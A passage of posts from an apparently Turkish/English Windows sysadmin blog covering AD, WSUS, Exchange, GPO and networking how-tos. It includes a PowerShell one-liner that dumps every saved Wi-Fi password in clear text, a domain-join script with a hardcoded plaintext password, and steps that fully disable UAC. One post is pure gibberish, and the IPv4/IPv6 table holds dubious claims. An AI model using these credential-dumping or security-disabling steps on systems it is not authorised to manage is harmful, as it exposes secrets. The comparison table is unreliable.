aktif hale getirmeden önce silinmiş AD objeleriniz varsa, bu objeler Recycle Bin ile geri getirilemezler. A) Active Directory Administrative Center ( ADAC ) konsolunu açıyoruz - We open the Active Directory Administrative Center (ADAC) console AD Domain Name (Guler.com) üzerine gelip sağ tuş Enable Recycle Bin diyerek bu özelliği aktif edebiliriz. Active Directory Recycle Bin özelliğini aktif edilmesi durumunda tekrar Disable (Pasif) edemeyeceğiz. We can activate this feature by hovering over AD Domain Name (Guler.com) and right-clicking Enable Recycle Bin. If the Active Directory Recycle Bin feature is activated, we will not be able to Disable it again. IMPORTANT!! Ben daha önceden aktif ettiğim için burada pasif olarak görünmekte- It appears as passive because I activated it before. AD Administrative Center (ADAC) konsolunda bulunan Deleted Objects klasörüne tıklıyoruz. Click on the Deleted Objects folder in the AD Administrative Center (ADAC) console. Restore: Bu seçenek silinen kullanıcıyı silindiği OU içine direkt olarak geri getirecektir.Restore to: Bu seçenek ise silinen kullanıcıları belirleyeceğiniz Organizational Unit (OU) içine geri getirecektir. Restore: This option will directly restore the deleted user to the OU from which they were deleted.Restore to: This option will bring the deleted users back into the Organizational Unit (OU) you specify. Saygılarımla. – Best regards. --- ## Windows Kayıtlı Wifi Şifrelerinin Öğrenilmesi Link: https://farukguler.com/posts/windows-kayitli-wifi-sifrelerini-gormek/ Powershell üzerinde - On Powershell PS: netsh wlan show profiles Bağlandığınız tüm Wi-Fi ağlarının ismini gösterecektir. - Will display the name of all Wifi networks. PS: netsh wlan show profile name="istediğim Wifi adı" key=clear Key Content yazan kısımda şifreniz yazmaktadır. - Your password is written in the section that says Key Content Bunu tüm ağlar için yapalım - Let's do this for all networks PS: (netsh wlan show profiles) | Select-String “\:(.+)$” | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=”$name” key=clear)} | Select-String “Key Content\W+\:(.+)$” | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize Saygılarımla. – Best regards. --- ## Uninstalling software with Group Policy Link: https://farukguler.com/posts/grup-policy-ile-yazilim-kaldirmak/ 1]- CMD: & PS: admin olarak çalıştırılıp - run as administrator wmic yazıyoruz ve enter tuşuna basıyoruz. - We type wmic and press enter.Ardından product get name yazarak enter... bekliyoruz. - Type product get name enter… and wait.Gelen isimlerinden kaldırılacak programı kopyalıyoruz. - copy the program name to be uninstalled.product where name= kısmına yazıyoruz. - product where name= we write to. *Google Chrome *winrarbu bat dosyasını gpo ile ilgili gruba dağıtabiliriz. bat dosyası hali - bat file state: uninstaller.bat wmic product where name="Google Chrome" call uninstall@echo offnet session >NUL 2>&1|| powershell Start-Process '%0' -Verb RunAs&& exit /b|| exit /bcmd 2]- ilk methot işe yaramaydıysa ikinci işleme geçelim. - The first method may not work, we move on to the second method. Regedit üzeride; HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall yoluna gidelim. - Let's go your way. Açılan ekranda UninstallString parametresi içindeki değer bize gerekli olan ID bilgisini barındırıyor. - On the screen that opens, the value in the UninstallString parameter contains the ID information we need. MsiExec.exe /X {Program_ID_Bilgisi} /qn MsiExec.exe /X {Program_ID_Info} /qn yazilim_kaldirma.bat ID bilgisini kopyalayıp bat dosyası içine kayderek dağıtalım. - Let's save the copied ID information in the bat file and distribute it. Saygılarımla. – Best regards. --- ## Wsus Best Configuration (GPO) Link: https://farukguler.com/posts/wsus-best-configuration-gpo/ Firewall İzinleri: Allow URL's: https://*.microsoft.com https://*.windowsupdate.com http://*.microsoft.com http://*.windowsupdate.com Allow PORTS: 80 , 443 GPO: "Computer Configuration > Policies > Administrative Templates > Windows Components > Windows updates > Configure Automatic Updates" 1) Settings State GPO Name Status - Durum 1) Configure Automatic Updates Enabled2) Always automatically restart at the scheduled time Enabled3) Specify intranet Microsoft update service "location" Enabled https://wsus.guler.com:85304) Automatic Updates detection frequency Enabled5) Allow non-administrators to receive update notifications Enabled [a] Configure Automatic Updates [1] Notify for download and notify for install: Yeni update geldiğinde indireyim mi diye sor ve indirdikten sonrada kurulumu yapılsın mı diye sor.[2] Auto download and notify for install: Otomatik olarak indir ve kurulum yapılsın mı diye sor.[3] Auto download and schedule the install: Hiç bir şey sorma otomatik olarak indir ve benim aşağıdaki bölümde belirteceğim gün ve saatte kurulumu yap.[4] Allow local admin to choose setting: Local admin nasıl istiyorsa update’leri one indirip kurulumu yapsın. Ben [2] seçenek olan Auto download and notify for install ‘ı seçiyorum. “Apply” diyorum. [b] Always automatically restart at the scheduled time:Windows Update önemli güncellemeleri yükledikten sonra kullanıcıları oturum açma ekranında en az iki gün boyunca bilgilendirmek yerine her zaman bir yeniden başlatma süresi 15 dk vs. [c] Specify intranet Microsoft update service location:Intranet Microsoft güncelleştirme hizmeti konumunu belirtiyorum. [d] Automatic Updates detection frequency:Otomatik güncelleme denetleme zamanını 12 saatte 1 olarak ayarlıyorum. [e] Allow non-administrators to receive update notifications:Yönetici olmayanların güncelleştirme yapabilmesi için bu seçeneğini aktif ediyorum. WSUS Group policy Regedit üzerinden test edilmeldir. - WSUS Group policy should be tested via Regedit. REG: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate Clientler Üzerinden Test Ededelim - Let's Test on Clients İstemcilerin WSUS sunucuya erişimini web tarayıcısından kontrol edebilirsiniz. Clientlerdeki browser(chrome,firefox vs) üzerinden https://wsus.guler.com/iuident.cab  adresine girerseniz .cab dosyasını indirebiliyor olmanız gerekmektedir. eğer indiremiyorsanız ağınızdaki güvenlik cihazının port ayarlarını yada GPO üzerindeki ayarları vs. kontrol ediniz. Clientler Wsus consolu üzerinde görünmüyor ? - Clients do not appear on Wsus console? Powershell’i administrator olarak açın aşağıdai komutları sırasıyla çalıştırın. - Open Powershell as administrator and run the following commands in order. Windows Server 2016 ve 2019 için; PS: Stop-Service -Name BITS, wuauserv -Force Start-Service -Name BITS, wuauserv wuauclt /resetauthorization /detectnowwuauclt /reportnow (New-Object -ComObject Microsoft.Update.AutoUpdate).DetectNow() Windows Server 2012 için; Stop-Service -Name BITS, wuauserv -Force Start-Service -Name BITS, wuauserv wuauclt /resetauthorization /detectnow wuauclt /reportnow Eğer GPO iptal edilip bilgisayarlar GPO dan çıkarılacaksa Yukarıdaki Regedit ayarları silinmelidir. Bunu tüm domainde yapacağınız için tek tek uğraşmak yerine reg policy yapabilirsiniz. Yararlı olması dileğiyle. - Hope it's useful. --- ## Grup Üyelerini Export Etmek Powershell Link: https://farukguler.com/posts/grup-uyeleri-export/ PS: Get-ADGroup "toplu_kisiler-Grup Nameee" -Properties Member | Select-Object -ExpandProperty Member | Get-ADUSer -properties Displayname,Description,wWWHomePage | Select Name,Displayname,Description,wWWHomePage | Export-csv -path C:\VPNkullanicilari.csv -Encoding Unicode Kolay gelsin... --- ## Domainden Düşen Bilgisayarlar İçin Çözümler (Secure Channel Issues) Link: https://farukguler.com/posts/domainden-dusen-bilgisayarlar/ Bilgisayarlar Domainden Neden Düşer? (Why do Computers Lose Domain Trust?) Active Directory yapısında istemci makineler ile Domain Controller (DC) arasındaki Secure Channel (Güvenli Kanal) iletişimi koptuğunda, kullanıcılar “The trust relationship between this workstation and the primary domain failed” hatasıyla karşılaşır. Başlıca Nedenler (Common Causes): Zaman Senkronizasyonu (Time Sync): İstemci ve DC arasındaki saat farkı 5 dakikadan fazlaysa Kerberos doğrulaması başarısız olur. SID Çakışmaları: Sysprep uygulanmamış klonlanmış makinelerin aynı SID’e sahip olması. Makine Parolası Senkronizasyonu: Bilgisayarın AD üzerindeki parolasının (varsayılan 30 günde bir değişir) istemci tarafında güncellenememesi. DNS Sorunları: İstemcinin DC’yi (SRV kayıtlarını) çözememesi. Soruna Ait Hata Örnekleri (Error Visuals) Çözüm Yöntemleri (Step-by-Step Solutions) [!IMPORTANT] İşlemlere başlamadan önce istemci makinenin DC’ye fiziksel olarak erişebildiğinden ve doğru DNS adreslerini aldığından emin olun. Kritik: Güven ilişkisi koptuğu için domain hesaplarıyla oturum açamayabilirsiniz. Bu adımları uygulamak için bilgisayarda Yerel Yönetici (Local Administrator) hesabıyla oturum açmanız gerekmektedir. [!TIP] İşlemlere başlamadan önce DNS önbelleğini temizlemek çözüm sürecini hızlandırabilir: ipconfig /flushdns 1. Yöntem: Bilgisayar Hesabını AD Üzerinden Sıfırlama En basit yöntemdir. ADUC (Active Directory Users and Computers) konsolunda ilgili bilgisayar nesnesine sağ tıklayıp “Reset Account” dedikten sonra istemci makineyi yeniden başlatın. 2. Yöntem: PowerShell ile Hızlı Onarım (Rejoin Gerektirmez) Bu yöntem sunucuyu domainden çıkarıp almadan (reboot gerektirmeden) güven ilişkisini onarır. 1 2 3 4 5 # 1. Mevcut durumu test edin (False dönüyorsa sorun vardır) Test-ComputerSecureChannel -Verbose # 2. Güveni onarın (Kimlik bilgisi soracaktır) Test-ComputerSecureChannel -Repair -Credential (Get-Credential) [!TIP] Eğer PowerShell erişiminiz yoksa CMD üzerinden şu komutu kullanabilirsiniz: nltest /sc_verify:domain_adinizi_yaziniz 3. Yöntem: PowerShell ile Makine Parolası Sıfırlama Eğer yukarıdaki komut yetersiz kalırsa makine parolasını manuel olarak tetikleyebilirsiniz: 1 2 3 $cred = Get-Credential Reset-ComputerMachinePassword -Credential $cred Restart-Computer 4. Yöntem: Klasik Yöntem (Domainden Çıkar / Tekrar Dahil Et) Diğer tüm yöntemler başarısız olursa izlenecek kesin çözümdür: Bilgisayarı Workgroup‘a çekin ve yeniden başlatın. AD üzerinden eski bilgisayar nesnesini silin (isteğe bağlı). Bilgisayarı tekrar Domain‘e dahil edin ve yeniden başlatın. Ekstra: Uzaktan Onarım (Remote Repair) [!NOTE] Uzaktan onarım komutunun çalışması için hedef bilgisayarda WinRM servisinin açık olması ve güvenlik duvarının izin vermesi gerekmektedir. 1 2 $cred = Get-Credential Invoke-Command -ComputerName "SORUNLU-PC-ADI" -ScriptBlock {Test-ComputerSecureChannel -Repair -Credential $using:cred} Saygılarımla / Thank you. --- ## System Info Ps-Vbs Link: https://farukguler.com/posts/system-info-ps-vbs/ # title$title = @"GULER System Info--------------------------------"@# Ip$ipAddress = (Test-Connection -ComputerName $env:COMPUTERNAME -Count 1).IPv4Address.IPAddressToString# Compname$computerName = $env:COMPUTERNAME# RAM$ram = Get-CimInstance -ClassName Win32_PhysicalMemory | Measure-Object -Property Capacity -Sum | ForEach-Object { "{0:N2} GB" -f ($_.Sum / 1GB) }# CPU$cpu = Get-WmiObject -Class Win32_Processor | Select-Object -ExpandProperty Name# Export file etc.$outputFilePath = "$env:USERPROFILE\Desktop\SystemInfo.txt"# Post file"$title`r`n" + @"Bilgisayar IP adresi: $ipAddressBilgisayar ismi: $computerNameRAM: $ramCPU: $cpu"@ | Set-Content -Path $outputFilePath -Encoding utf8 ' System Infotitle = "GULER System Info" & vbCrLf & "--------------------------------"' IP AddressSet objWMIService = GetObject("winmgmts:\\.\root\cimv2")Set colItems = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled = True")' Collecting all IPv4 addressesDim ipAddressesipAddresses = ""For Each objItem in colItems If Not IsNull(objItem.IPAddress) Then For Each strIPAddress in objItem.IPAddress If InStr(strIPAddress, ":") = 0 Then ' IPv4 adreslerini filtrele ipAddresses = ipAddresses & strIPAddress & ", " End If Next End IfNext' Remove the last comma and spaceIf Len(ipAddresses) > 0 Then ipAddresses = Left(ipAddresses, Len(ipAddresses) - 2)End If' Computer NamecomputerName = CreateObject("WScript.Network").ComputerName' RAMSet objWMIService = GetObject("winmgmts:\\.\root\cimv2")Set colItems = objWMIService.ExecQuery("Select * from Win32_PhysicalMemory")totalRAM = 0For Each objItem in colItems totalRAM = totalRAM + objItem.CapacityNextram = FormatNumber(totalRAM / (1024 * 1024 * 1024), 2) & " GB"' CPUSet objWMIService = GetObject("winmgmts:\\.\root\cimv2")Set colItems = objWMIService.ExecQuery("Select * from Win32_Processor")For Each objItem in colItems cpu = objItem.NameNext' Disk Serial NumberSet colDisks = objWMIService.ExecQuery ("Select * from Win32_DiskDrive")For Each objDisk in colDisks diskSerial = objDisk.SerialNumberNext' User InfoSet objNetwork = CreateObject("WScript.Network")domain = objNetwork.UserDomainusername = objNetwork.UserName' Output fileoutputFilePath = CreateObject("WScript.Shell").SpecialFolders("Desktop") & "\SystemInfo.txt"' Write to fileSet objFSO = CreateObject("Scripting.FileSystemObject")Set objFile = objFSO.CreateTextFile(outputFilePath, True)objFile.WriteLine title' Write IP addressesobjFile.WriteLine "Bilgisayar IP: " & ipAddressesobjFile.WriteLine "Bilgisayar Adı: " & computerNameobjFile.WriteLine "RAM: " & ramobjFile.WriteLine "CPU: " & cpuobjFile.WriteLine "Disk Seri Numarası: " & diskSerialobjFile.WriteLine "Etki Alanı: " & domainobjFile.WriteLine "Kullanıcı Adı: " & usernameobjFile.Close --- ## Vmware Workstation 16.2 dark mode fix Link: https://farukguler.com/posts/vmware-workstation-16-2-dark-mode-error/ Yayınlanan Vmware Workstation 16.2.0 güncellemesi ile karanlık arayüz modu kapatılmıştı wmware tarafı konu ile ilgili bir patch yayınlayacaklarını duyurdu. bizde bu yamayı beklemeden karanlık modu açmak için aşağıdaki dizine giderek (preferences.ini) dosyasını editliyoruz. Bu dosya yoluna git - Look: C:\Users\yourUsername\AppData\Roaming\VMware\preferences.ini Add line at end: - satırın en sonuna bunu ekleyin: wsFeatureDarkModeSupported = "TRUE" Save file. Restart VMware Workstation app. Dosyayı kaydettikten sonra VMware Workstation uygulamasını yeniden başlatın. Saygılarımla. --- ## Finding a Windows Product Key Link: https://farukguler.com/posts/find-a-windows-product-key/ PS: powershell “(Get-WmiObject -query ‘select * from SoftwareLicensingService’).OA3xOriginalProductKey” CMD: wmic path softwarelicensingservice get OA3xOriginalProductKey Faydalı olması dileğiyle. – Hope it’s useful. --- ## Domain users 10 days Logon-Logoff Report Link: https://farukguler.com/posts/domain-users-10-days-logon-logoff-report/ PS ISE: Param ( [string]$Computer = (Read-Host hedef Bilgisayar adi=ip: – target Computer name-ip ), [int]$Days = 10 # Bu bölümde son kaç günlük rapor istendiği belirtilir. Örnekte son 10 günlüK – In the example the last 10 days ) $now=get-date Set-Variable -Name ExportFolder -Value “C:\” $startdate=$now.adddays(-$EventAgeDays) $ExportFile=$ExportFolder + $Computer + “Logon_Logoff_Report__” + $now.ToString(“yyyy-MM-dd—hh-mm-ss”) + “.csv” cls $Result = @() Write-Host “Turkish:Loglar toplanıyor, bu işlem biraz zaman alabilir… ENGLish: PLease Wait…” $ELogs = Get-EventLog System -Source Microsoft-Windows-WinLogon -After (Get-Date).AddDays(-$Days) -ComputerName $Computer If ($ELogs) { Write-Host “isleniyor… is running…” ForEach ($Log in $ELogs) { If ($Log.InstanceId -eq 7001) { $ET = “Logon” } ElseIf ($Log.InstanceId -eq 7002) { $ET = “Logoff” } Else { Continue } $Result += New-Object PSObject -Property @{ Time = $Log.TimeWritten ‘Event Type’ = $ET User = (New-Object System.Security.Principal.SecurityIdentifier $Log.ReplacementStrings[1]).Translate([System.Security.Principal.NTAccount]) } } $Result | Select Time,”Event Type”,User | Sort Time -Descending | Export-CSV $ExportFile -NoTypeInformation Write-Host “Tamamlandı. Okey Enjoy!” } Else { Write-Host “Bu bilgisayarda sorun oluştu – Problem occurred on this computer: $Computer.” Write-Host “Eğer ‘Ağ yolu bulunamadı’ hatasını alıyorsanız bu bilgisayarda Remote Registry servisini başlatınız.” Write-Host “If you are getting the ‘No network path found’ error, start the Remote Registry service on this computer.” Write-Host “Ayrıca auditing açık olmalıdır – Also, auditing should be open.)” } Kolay gelsin. - I wish conveniences --- ## vSphere HA failover operation in progress Error Link: https://farukguler.com/posts/vsphere-ha-failover-operation-in-progress-error/ vSphere HA failover operation in progress in cluster VxRail-Virtual-SAN-Cluster in datacenter VxRail-Datacenter:0 VMs being restarted, 1 VMs waiting for a retry, 0 VMs waiting for resources, 0 inaccessible vSAN VMs HA Failover operation in Progress hatası kaldırma - HA Failoveri açıp kapatarak bu sorundan kurtulabilirsiniz. Troubleshoot HA Failover operation in Progress - You can get rid of this issue by toggling HA Failover on and off. --- ## Activating RDP with group policy Link: https://farukguler.com/posts/group-policy-rdp/ RDP veya VPN gibi araçlarla internet üzerinde güvenli bağlantılar kurmak isteyen kullanıcılar için Group Policy oldukça faydalı bir araçtır. Özellikle büyük ölçekli ağlarda, her bir bilgisayarda tek tek ayarlar yapmak yerine, Group Policy ile tek bir merkezi ayar yaparak tüm ağdaki bilgisayarları yönetmek mümkündür. RDP, Microsoft tarafından geliştirilen bir iletişim protokolüdür ve Uzak Masaüstü bağlantısı için kullanılır. Bu protokol sayesinde, Windows işletim sistemine sahip herhangi bir bilgisayara uzaktan bağlanarak, o makineyi yerel olarak kullanmak mümkündür. Ancak, RDP bağlantıları güvenlik riski taşıdığı için, bu bağlantıların yalnızca güvenilir kişiler tarafından kullanılması önemlidir. Bu noktada, Group Policy kullanarak, RDP bağlantılarına erişimi sınırlayabilir ve güvenlik açıklarını önleyebilirsiniz. 1) Computer Configuration > Policies > Administrative Templates > Network > Network Connections > Windows Firewall > Domain Profile > “Windows Firewall:" Allow Inbound Remote Desktop Exception" 2) Computer Configuration > Policies > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Connections > enable the policy “Allow Users to connect remotely using Remote Desktop Services” Saygılarımla.. --- ## asdssadsdsd dfdfdfhgwqwqewew ascxcxcv qwertyyyy Link: https://farukguler.com/posts/asdssadsdsddfdfdfdfdfdfd/ asasasa dfdfdfdff qwwewewew sddwrerw32erty asdfgh zxcvbnm 1. sdsdfdfdfff32323we qwertyuıop asdfghjkl zxcvbnmö qazwsx qweasdzxc sdfghjklş qwe123 asdasdasd xzxzxz dfghdfgh qazxswedc qweasdzxcasd qwertyuı aaaaaaaa zxcvb qwertyasdf sdfg qwqwqw zxcqwe 123qwe qazxsw qweasd üüüüüüü 123asd lololol deneme123 sdf123 çççççç qweqwe mnbvcxz dfdfdf şşşşşşş blablabla qazqaz qwert qweasddsa cvbn asdfzxcv klklkl sdfdfsd dfghjk ööööööö asdqwe123 zzzxxxccc asdfghqwerty qwertyuıopğü asd123 deneme ğğğğğğ qweasd123 qweasdzxcvbn asdfghjklşi qazwsxedc zxcvbnm asdfghjklşizxcvbnmöç sdfsdffds xcvbnm asdzxc wewewe testtest qaz123 şldkfjşldkf asd qwertyu qwqwqwqw sdfasdf qwertyuıopğüasdfghjklşi<zxcvbnmöç gibberish sdfwewe qazwsx123 qqqqqq asdfg qwertyuıopğüasdf asdfff qwexcv zxcasd zxcvbnmöç sdfsdg sdfsdf zxcvbn 123qaz qwertzxc asdfggg qweasdqwe qweas asdwer test123 qwqwq qazwsxedcrfvtgbyhn xcv qweasdzxcvb asdfgh qweop qweasdzxcasdqwe qazxswqaz zxcvbnmç qwerty123 zxc123 zxcvbnmöçğü qwertasdfzxc 2. dfdffd234567tre hava durmuu doviz kuru altın fıyatları e devlett osmy kpss dğs yks ehliyet sınavıı aöf e nabz hes kodu eba trt izle canli maç izle dızi izle filmizle bedava internett kredi basvurusu iş ilanalrı işkur sgk sorgulma vergi borcu trafık cezası sorgulama elektrık faturası sorgulma su faturası ödemee dogalgaz faturasi ödeme e arşiv fatura e faturaa sorgulama e ımza 3. qwertyuads sdsd sdsd wethar neews facebok youtub googel whatsap instgram twiter translte calclator maps amzon netflx gmal mail hotmial outlok yaho bingg reddt linkdin pintrest ticktok snpachat zoomm skyp tems slak discrod spotfy --- ## Otomatik domaine alma Powershell Script Link: https://farukguler.com/posts/otomatik-domaine-alma/ PS: $domain = "guler.com"$password = "Password1234565" | ConvertTo-SecureString -asPlainText -Force$username = "$guler\faruk"$credential = New-Object System.Management.Automation.PSCredential($username,$password)Add-Computer -DomainName $domain -Credential $credentialshutdown.exe -R -T 00 -F DHCP tarafından oto dns ve ip almış sunucularda manuel olarak tıkla ile domain join gerçekleştirmektedir.Buradaki unutulmaması gerek bir husus ise script içindeki kullanıcı şifresi hash edilmediği sürece herkese açık olup görünecektir!!. Not: Pc adları ise ilk kurulumdaki gibi rastgele gelecektir. örnek:COMPUTER-MMFK5GXX --- ## Active Directory'de Default OU Değiştirilmesi Link: https://farukguler.com/posts/active-directory-users/ Active Directory ortamında Domain’e eklenen kullanıcı yada computers Default olarak belirlenen Container’lara düşmektedir.powershell ile Objelerin bu Container’lar haricinde herhangi bir yere (OU yada Container) düşmesini istiyorsanız redirect anlamına gelen redir komutunu kullanabiliriz. Redir komutunun örnek kullanımı aşağıdaki gibidir ; PS: #Bilgisayar öğelerinin default Container’ını değiştirmek için; redircmp ou=computers,dc=guler,dc=com #Bu komut OU değişkeninde belirtilen isime yönlendirme yapmaktadır. #User objelerinin default container’ını değiştirmek için; redirusr ou=kullanicilar,dc=guler,dc=com Sağlıcakla.... --- ## Exchange Shell Mass Mailbox Activated Link: https://farukguler.com/posts/exchange-mass-mailbox-activated/ Active Directory de belli bir OU altındaki kullanıcıların bilgisini alıp Exchange Server üzerinde mail kutularını aktif edip dil ve bölge seçimi yapmak için kullanabilirsiniz. # Exchange Management Shell! ############################ # OU ve Database Get-User -OrganizationalUnit "guler.com/uyeler" | Enable-Mailbox -Database "personel_db" # Dil Get-Mailbox -OrganizationalUnit "guler.com/uyeler" -ResultSize Unlimited | Set-Mailbox -Language "tr-TR" # TimeZone Get-Mailbox -OrganizationalUnit "guler.com/uyeler" | Set-MailboxRegionalConfiguration -TimeZone "Turkey Standard Time" # PowerShell ISE################## Active Directory ve Exchange modüllerini içe aktarImport-Module ActiveDirectoryImport-Module Exchange# Gerekirse aşağıdaki satırları kullanabilirsiniz.# Install-windowsFeature -Name "RSAT-AD-powershell" Add-PSSnapin microsoft.exchange.management.powershell.snapin# Belirli bir Organizasyonel Birimdeki (OU) tüm kullanıcıları al$users = Get-ADUser -LDAPfilter '(name=*)' -searchBase "OU=test,DC=guler,DC=com"# Her bir kullanıcı için işlemi gerçekleştirforeach ($user in $users) { try { # Kullanıcı posta kutusu etkinleştir - veritabanını sec Enable-Mailbox -Identity $user.SamAccountName -Database "Mailbox_IT" # Kullanıcının Dil - Bölgesel yapılandırmasını ayarla Set-MailboxRegionalConfiguration -Identity $user.SamAccountName -TimeZone "Turkey Standard Time" -Language "tr-TR" # Başarı durumu çıktısını yaz Write-Output "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') - $($user.Name) için posta kutusu etkinleştirildi ve bölgesel yapılandırma başarıyla ayarlandı." } catch { # Hata durumu çıktısını yaz Write-Error "$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') - Hata! $($user.Name) için posta kutusu etkinleştirilirken bir sorun oluştu: $_" # Hata durumunda işle }} kolay gelsin.. --- ## Ubuntu server root activated - aktifleştirme Link: https://farukguler.com/posts/ubuntu-server-root-activated/ Rootu aktif etmek için aşağıdaki adımları izleyebilirsiniz. #İlk önce root şifremizi sıfırlayalım ve 2 kere yeni şifremizi girelim.sudo passwd root #İşlem yaptıktan sonra root kullanıcısına geçebiliriz.su root --- ## What is UAC? User Account Control Disabled Group Policy Link: https://farukguler.com/posts/what-is-uac/ User Account Control (UAC) is a security component in Windows operating systems. "UAC allows users to temporarily escalate their privileges so they can perform tasks that require administrative privileges, such as switching users, logging out, or using the Run As feature." The main purpose of UAC is to increase the security of users and limit unauthorized or potentially harmful actions. UAC obtains your permission by presenting you with a warning or confirmation screen when you want to perform an operation that requires administrative authority. These screens prevent the user from unintentionally or unknowingly initiating a harmful process. "Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options" To completely disable UAC, you can adjust the main parameter values ​​I have mentioned below. 1: User Account Control: Behavior of the elevation prompt for administrators in Admin Approval Mode = Elevate without prompting 2: User Account Control: Detect application installations and prompt for elevation = Disabled 3: User Account Control: Only elevate UIAccess applications that are installed in secure locations = Disabled 4:User Account Control: Run all administrators in Admin Approval Mode = Disabled (UAC) is a security component in Windows operating systems designed to increase the security of users and limit unauthorized or harmful actions. UAC gives users greater control and security to perform operations that require administrative authority. ***Disabling User Account Control is not recommended because it allows users to make unauthorized changes to your computer. Good Luck --- ## How to find .Net-Framework version Link: https://farukguler.com/posts/net-framework-version-check/ PS: gci 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | gp -name Version -EA 0 | where { $_.PSChildName -match '^(?!S)\p{L}'} | select PSChildName, Version CMD: reg query "HKEY_Local_Machine\Software\Microsoft\NET Framework Setup\NDP dir /b /ad /o-n %systemroot%\Microsoft.NET\Framework\v?.* .NET Framework Yükleme-Kaldırma , Aktif etme - Framework Installation-Uninstallation, Activation Faydalı olması dileğiyle. – Hope it’s useful. --- ## Ipv4 vs Ipv6 Link: https://farukguler.com/posts/ipv4-vs-ipv6/ ÖzelliklerIPv4IPv6Adres Uzunluğu32 bit (4 bayt)128 bit (16 bayt)Adres NotasyonuDört ondalık grup (Örneğin: 192.168.1.1)Sekiz grup hexadecimal (Örneğin: 2001:0db8:85a3:0000:0000:8a2e:0370:7334)Adres SayısıYaklaşık 4.3 milyar (2^32) adres340 undecilyon (2^128) adresAdres TürleriGenel (global), özel (private), özel rezervasyonlu (loopback, test, vb.)Genel (global), özel (ULA), bağlantı yerel (link-local), bağlantı-üstü (site-local), multicast vb.IPv4 Özel Adres Aralıkları10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16fc00::/7 (ULA), fe80::/10 (Link-Local), ff00::/8 (Multicast)NAT DesteğiEvet (genellikle ihtiyaç duyulur)Genellikle gerekmez (Adres bolluğu)IPv6 Geleceğe Dönük DestekSınırlı (NAT kullanımı karmaşıktır)Tam destek (IPv6 geleceğe dönük olarak tasarlanmıştır)Header Boyutu20 ila 60 bayt (Seçeneklere bağlı olarak)Sabit 40 baytIPsec (Güvenlik) Entegrasyonuİsteğe bağlıdır ve sonradan eklenebilirZorunludur ve entegre edilmiştirYaygın Kullanım AlanlarıInternet, özellikle önceki nesil cihazlar içinGeleceğin internet altyapısı, özellikle IoT ve büyük ağlar içinDNS Rekordu (PTR) KullanımıSık kullanılır (Ters DNS sorguları)Daha az kullanılırDoS KorumasıDaha az etkili, daha savunmasızDaha etkili, otomatik olarak entegre edilmişMulticast DesteğiÖzel protokollerle (IGMP) sınırlıdırDaha gelişmiş ve doğal olarak entegre edilmişHeader SeçenekleriSınırlı sayıda ve seçeneklerle uzantılıdırGeniş bir seçenek yelpazesi ile daha esnekHızlı Yönlendirme ve İşlemeDaha düşük hızda (Bazı cihazlar için)Daha hızlı ve optimize edilmişAdres Değişiklikleri (Mobil Kullanım)Daha zordur (IPv4'nin karmaşıklığı nedeniyle)Daha kolaydır (IPsec ve Mobil IPv6 ile entegre)IPv4 Hızı ve Performansıİyi performans, ancak yoğunluk nedeniyle sıkışmalar olabilirIPv6'nın performansı genellikle IPv4'e benzer veya daha iyidirÇapraz Bağlantı ve Çapraz Yerel İletişimİsteğe bağlıdır ve genellikle karmaşıktırIPv6'da doğal olarak entegre edilmiştir ve daha basittirFragmentasyon İşlemeİletişim gerektirebilir (MTU sondajı, IP Fragmentation)İkincil olarak işlenir (MTU iletimi ve fragmentasyon azalır)Otomatik YapılandırmaDHCP ile yapılandırma yaygın (IPv4)ICMPv6 ile yapılandırma (DHCPv6 de kullanılabilir)Adres YönlendirmesiNAT nedeniyle karmaşık (Port yönlendirmesi)Basit ve doğal (Var olan adres alanı yeterli)Açık Anahtar Altyapısı (PKI)Daha az kullanılır ve özel anahtar kullanımı yaygındırPKI, IPsec ve SSL/TLS için daha entegre ve yaygındırIPv6 İsimlendirmeYetersiz (DNS ve PTR kayıtları kullanılır)IPv6 Adres Autoconfiguration ve DNS kullanarak daha iyidirMobil Cihaz DesteğiKarmaşık yapılandırma (IPv4 için özellikle 3G/4G)IPv6, mobil ağlarda daha iyi desteklenir ve daha basit yapılandırmaUygulama DesteğiGeniş uygulama tabanına sahip (IPv4)Daha yeni uygulamalar ve hizmetler IPv6'yı desteklemektedirKullanılabilirlikGeniş kullanılabilirlik (IPv4)Geniş kullanılabilirlik (IPv6)Geçiş TeknolojileriDual-Stack, NAT64, DS-Lite, 6rd vb.Dual-Stack, Teredo, 6to4, ISATAP, NAT64 vb. --- ## Osi Referans Modeli Nedir Link: https://farukguler.com/posts/osi-referans-modeli-nedir/ OSI Referans Modeli Nedir? OSI (Open Systems Interconnection) Referans Modeli, ağ cihazlarının ya da ağdaki bilgisayarların ağ aracılığıyla iletişim kurabilmesi için ihtiyaç duyduğu işlevleri gösteren katmanlı bir referans modelidir. Bu model, International Organization for Standardization (ISO) tarafından geliştirilmiştir ve 1984 yılında resmileştirilmiştir. OSI referans modeli, ağ iletişimini düzenleyen ve standartlaştıran bir modeldir. Bu model, ağ iletişiminin daha düzenli ve verimli olmasını sağlar. OSI Katmanları OSI referans modeli 7 farklı katmandan oluşur. Fiziksel Katman (Physical Layer) Veri Bağlantı Katmanı (Data Link Layer) Ağ Katmanı (Network Layer) Taşıma Katmanı (Transport Layer) Oturum Katmanı (Session Layer) Sunum Katmanı (Presentation Layer) Uygulama Katmanı (Application Layer) Her bir katmanın belirli görevleri ve işlevleri vardır. Örneğin, Fiziksel Katman, verinin fiziksel ortamda iletilmesini sağlar. Veri Bağlantı Katmanı, hata kontrolü ve verinin doğru bir şekilde iletilmesini sağlar. Ağ Katmanı, verinin hedefe ulaşması için en uygun yolu belirler. Taşıma Katmanı, verinin doğru bir şekilde iletilmesini ve hata kontrolünü sağlar. Oturum Katmanı, iletişim oturumlarını yönetir. Sunum Katmanı, 